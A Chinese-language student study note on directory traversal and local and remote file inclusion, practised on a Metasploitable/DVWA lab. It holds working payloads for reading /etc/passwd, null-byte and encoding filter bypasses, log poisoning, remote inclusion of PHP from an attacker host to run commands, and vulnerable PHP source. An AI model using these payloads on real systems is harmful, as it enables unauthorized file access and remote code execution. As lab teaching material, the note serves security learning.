Kali学习笔记31：目录遍历漏洞、文件包含漏洞

文章的格式也许不是很好看，也没有什么合理的顺序

完全是想到什么写一些什么，但各个方面都涵盖到了

能耐下心看的朋友欢迎一起学习，大牛和杠精们请绕道

目录遍历漏洞：

应用程序如果有操作文件的功能，限制不严格会导致可以访问到WEB目录意外的文件

目录遍历漏洞和文件包含漏洞本质以及利用方法一样

一定要论区别的话：

目录遍历：对本操作系统的文件进行读取

文件包含：1:LFI本地文件包含，和目录遍历一致；2:RFI远程文件包含

漏洞原因：目录权限限制不严格

漏洞利用示例：

启动Metasploitable靶机：192.168.163.129

启动Kali机器：192.168.163.132

在DVWA的这个目录存在文件包含漏洞：本地文件包含

我们可以在Metasploitable中修改配置文件以开启远程文件包含漏洞：

sudo vi /etc/php5/cgi/php.ini

然后输入/allow_url进行搜索：找到这里，修改成On

然后重启Apache服务：

sudo /etc/init.d/apache2 restart

这时候Metasploitable就会存在远程文件包含漏洞了

目录遍历漏洞的特征要注意：

?page=xxx.php

?home=xxx.html

?index=xxx.jsp

?file=content

常用漏洞验证方式：

1：../../../../../../（多少个../都行，越多越好）/etc/passwd

URL上这一串东西的意义：../返回上级目录，当返回到根目录时候再../还是根目录，然后直接进入linux系统的passwd文件

2.file:///etc/passwd（这里是文件包含漏洞，不过利用方法一致）

3.http://xxxxx

前两者用途：可以读取到目标系统的机密文件

远程文件包含用途：可以构建一个带有shellcode的网站，使目标访问，进而得到shell（虽然是低权限shell）

注意事项：

1.有时候?page=../../../etc/passwd，显示找不到passwd.php文件，这是目标系统开启了过滤机制

绕过办法：PHP5.3版本以前的，可以用一个空字符%00来解决，示例：

?page=../../../etc/passwd%00

这时候就算目标机器补上一个.php，也无所谓

2.有的服务器会过滤非法字符，比如/\$&.*等，我们可以采用一些编码来处理

路径方面，linux一定是/，windows通常是\，但有可能是/，实际中可以多次发送根据结果来得到答案

编码方面：示例

URL编码：

../     %2e%2e%2f

..\     %2e%2e%5c

..\     %252e%252e%255c (双层URL编码)

Unicode/UTF-8编码：

../     ..%c0%af     ..%u2216

..\     ..%c1%9c

编码工具：之前介绍的很多工具都有，我用Burp来举例

可以用URL编码后的字符做尝试：成功

上边说到本地文件包含来查看文件内容

通常认为本地文件包含漏洞无法执行代码

万事没有绝对，有极其特殊的方式可以执行代码

比如：利用访问日志

当我们访问一个WebServer例如Apache时候，就会有访问日志

会记录下来访问IP和访问的URL等一些简单的信息

我们用nc连接到目标的80端口：发送一段这样的东西

然后会在apache的日志中插入一段php代码：然后对日志文件chmod，改为可执行权限

如果失败了的话，多层chmod，使访问目录的所有层都赋予权限，然后利用文件包含，有机会执行代码（不一定成功）

远程文件包含示例：

我先用NC侦听本地80端口：

远程文件包含到Kali机器：这是输入Kali的IP，至于URL随便写

然后一直显示连接状态

查看NC，发现收到了连接请求：

nc只是获得了连接请求，实际没用

下面展示实际使用方式

利用Kali本机的Apache服务

到/var/www/html目录下，新建文本 1.txt，写入上边的php代码（或者搞个木马脚本都行，这里为了方便）

保存之后开启Apache服务

然后测试：

成功执行了ls命令

到这一步就相当于拿到了shell

最后：

我们可以查看DVWA这里的远程文件包含的源码：

LOW级别：直接获取文件名

 <?php
 
    $file = $_GET['page']; //The page we wish to display 
 
?> 

MEDIUM级别：过滤特殊字符，导致无法远程文件包含

解决方法：编码

比如http://192.168.163.132======>%68%74%74%70%3a%2f%2f192.168.163.132

如果失败，就可以只针对http://中的某个字符，比如/进行编码

如果还是失败，可以进行一种巧妙的方法

非常经典的关键字绕过方法：

hthttp://tp://192.168.163.132

我在一个http://中插入了一个http://，服务器只会识别一次，如果两个分开写都会被过滤，穿插来写，只会过滤一个

 <?php
 
    $file = $_GET['page']; // The page we wish to display 
 
    // Bad input validation
    $file = str_replace("http://", "", $file);
    $file = str_replace("https://", "", $file);        
 
?> 

HIGH级别：规定写死，只能包含include.php

这种方式基本无解了，没有漏洞，或者我水平低下找不到漏洞

 <?php
 
    $file = $_GET['page']; //The page we wish to display 
 
    // Only allow include.php
    if ( $file != "include.php" ) {
        echo "ERROR: File not found!";
        exit;
    }
 
?> 

总结：

远程文件包含漏洞出现概率远远小于本地文件包含漏洞

但是远程文件包含漏洞更容易被利用

大学生，生活不易，如果有大佬愿意赞赏，在此多谢